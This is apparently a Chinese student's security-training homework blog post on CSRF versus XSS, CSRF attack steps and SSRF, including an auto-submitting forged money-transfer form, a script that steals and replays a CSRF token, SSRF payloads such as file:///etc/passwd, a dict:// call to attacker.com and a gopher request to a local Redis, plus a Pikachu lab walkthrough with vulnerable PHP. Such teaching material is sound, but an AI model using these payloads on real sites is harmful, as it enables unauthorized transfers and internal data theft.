重邮毕业实习实训作业6

1.总结CSRF和XSS区别

攻击原理:

  • CSRF: 利用用户已登录的身份,在用户不知情的情况下执行未授权的操作。

  • XSS: 向网页注入恶意脚本,使其在用户浏览器中执行。

攻击目标:

  • CSRF: 主要针对服务器端,诱导服务器执行非预期操作。

  • XSS: 主要针对客户端,窃取用户信息或执行恶意操作。

利用方式:

  • CSRF: 通常需要用户点击特制链接或访问恶意网站。

  • XSS: 通过在目标网站注入恶意代码实现。

防御措施:

  • CSRF: 使用anti-CSRF令牌、验证Referer头、使用SameSite Cookie等。

  • XSS: 输入验证、输出编码、使用Content Security Policy(CSP)等。

危害程度:

  • CSRF: 可能导致未授权操作,如转账、更改密码等。

  • XSS: 可能窃取用户敏感信息,如Cookie、密码等。

2.总结CSRF攻击步骤

用户登录: 用户登录合法网站A,获得身份认证(通常是Cookie)。

保持会话: 用户在未登出网站A的情况下,保持会话活跃。

诱导访问: 攻击者诱使用户访问恶意网站B。这可能通过钓鱼邮件、社交媒体链接等方式实现。

触发请求: 恶意网站B中包含了向网站A发送请求的代码。这可能是一个自动提交的表单、一个图片标签的src属性等。

携带凭证: 浏览器在发送请求到网站A时,自动携带了用户的身份凭证(Cookie)。

服务器处理: 网站A的服务器收到请求,验证了用户的身份凭证,认为是合法用户的操作。

执行操作: 服务器执行了请求中的操作,如转账、修改密码等,而这些操作实际上是未经用户授权的。

攻击完成: 在用户不知情的情况下,攻击者通过CSRF成功地让服务器执行了非预期的操作。

3.总结CSRF手工构造POST型页面方法

 <!DOCTYPE html>
 <html lang="en">
 <head>
     <meta charset="UTF-8">
     <title>CSRF POST Attack Example</title>
 </head>
 <body οnlοad="document.forms[0].submit()">
     <form action="https://target-website.com/transfer" method="POST">
         <input type="hidden" name="amount" value="1000">
         <input type="hidden" name="to" value="attacker-account">
     </form>
     <p>This page will automatically submit a form to transfer money.</p>
 </body>
 </html>

创建HTML结构: 设置基本的HTML结构,包括<!DOCTYPE>、<html>、<head>和<body>标签。

设置页面标题: 在<head>标签中使用<title>标签设置一个不引人注意的标题。

创建表单: 在<body>中创建一个<form>元素,设置action属性为目标网站的URL,method属性为"POST"。

添加隐藏字段: 使用<input type="hidden">添加所需的表单字段。这些字段的name和value应该匹配目标操作所需的参数。

自动提交: 在<body>标签上添加onload事件,使表单在页面加载完成后自动提交。 例如: <body οnlοad="document.forms[0].submit()">

添加可选的视觉元素: 可以添加一些文本或图片来迷惑用户或解释页面的"合法"用途。

诱导用户访问: 将构造好的HTML保存为.html文件,然后诱导受害者访问这个页面。

4.说明token类CSRF利用方法

 <!DOCTYPE html>
 <html>
 <body>
 <script>
 // 第一步:获取包含token的页面
 fetch('https://victim-site.com/form')
     .then(response => response.text())
     .then(html => {
         // 第二步:提取token
         const tokenMatch = html.match(/name="csrf_token" value="([^"]+)"/);
         if (tokenMatch) {
             const csrfToken = tokenMatch[1];
             
             // 第三步:构造并发送带有token的恶意请求
             const formData = new FormData();
             formData.append('csrf_token', csrfToken);
             formData.append('amount', '1000');
             formData.append('to', 'attacker-account');
             
             fetch('https://victim-site.com/transfer', {
                 method: 'POST',
                 body: formData,
                 credentials: 'include'
             });
         }
     });
 </script>
 </body>
 </html>

识别token机制:

  • 首先,攻击者需要了解目标网站使用的是什么类型的CSRF token机制。

  • 通常,token会在表单中作为隐藏字段出现。

获取有效token:

  • 攻击者需要想办法获取一个有效的CSRF token。

  • 这可能通过以下方式实现: a) 利用XSS漏洞直接从页面获取token。 b) 利用其他漏洞(如CORS配置错误)从API响应中获取token。 c) 诱导用户访问攻击者控制的页面,该页面会请求包含token的目标页面。

构造攻击页面:

  • 创建一个HTML页面,包含JavaScript代码来执行以下操作: a) 请求包含token的目标页面。 b) 从响应中提取CSRF token。 c) 构造带有有效token的恶意请求。 d) 自动发送这个请求。

绕过同源策略:

  • 如果目标站点实施了严格的同源策略,攻击者可能需要利用其他漏洞(如JSONP漏洞)来绕过这些限制。

考虑token时效性:

  • 一些网站的CSRF token可能有时间限制。

  • 攻击者可能需要实时获取token并快速使用。

处理会话相关性:

  • 如果token与用户会话相关,攻击者可能需要诱导用户在新标签页中打开攻击页面,以维持相同的会话上下文。

诱导用户触发:

  • 最后,攻击者需要诱导目标用户访问构造好的攻击页面。

5.SSRF常用伪协议

file:// 用于访问服务器本地文件系统。例如: file:///etc/passwd

dict:// 用于与DICT协议服务器交互,可能导致信息泄露。例如: dict://attacker.com:11111/

gopher:// 非常强大的协议,可以发送精心构造的数据包。例如: gopher://127.0.0.1:6379/_SET%20mykey%20myvalue

http:// 和 https:// 最常见的协议,用于访问内部网络资源。

ftp:// 和 sftp:// 用于与FTP服务器交互,可能导致未授权访问。

ldap:// 和 ldaps:// 用于与LDAP服务器交互,可能导致信息泄露。

tftp:// 用于与TFTP服务器交互。

smb:// 和 cifs:// 用于访问Windows文件共享。

jar:// 和 jar:http:// 用于读取JAR文件内容。

netdoc:// Java特有协议,类似file协议。

6.SSRF pikachu靶场通关

一:

点击链接,弹出小诗,发现url中出现了传递url参数的url

使用file协议查看本地文件C:\Windows\System32\drivers\etc\hosts的内容

二:

利用file协议读取一下本地文件

7.SSRF靶场通关时根据源代码说明漏洞成因(加分项)

一:

 if(isset($_GET['url']) && $_GET['url'] != null){
 ​
     //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
     $URL = $_GET['url'];
     $CH = curl_init($URL);
     curl_setopt($CH, CURLOPT_HEADER, FALSE);
     curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
     $RES = curl_exec($CH);
     curl_close($CH) ;
 //ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
 //除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
 //curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
     echo $RES;
 ​
 }

拿到前端用户输入的url

没有做任何过滤,直接对这个url中的内容当成参数去请求资源

没有做任何处理直接在前端显示

二:

 if(isset($_GET['file']) && $_GET['file'] !=null){
     $filename = $_GET['file'];
     $str = file_get_contents($filename);
     echo $str;
 }

拿到前端用户输入的url

没有做任何过滤,直接对这个url中的内容当成参数去读取文件

没有做任何处理直接将读取的内容在前端显示

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值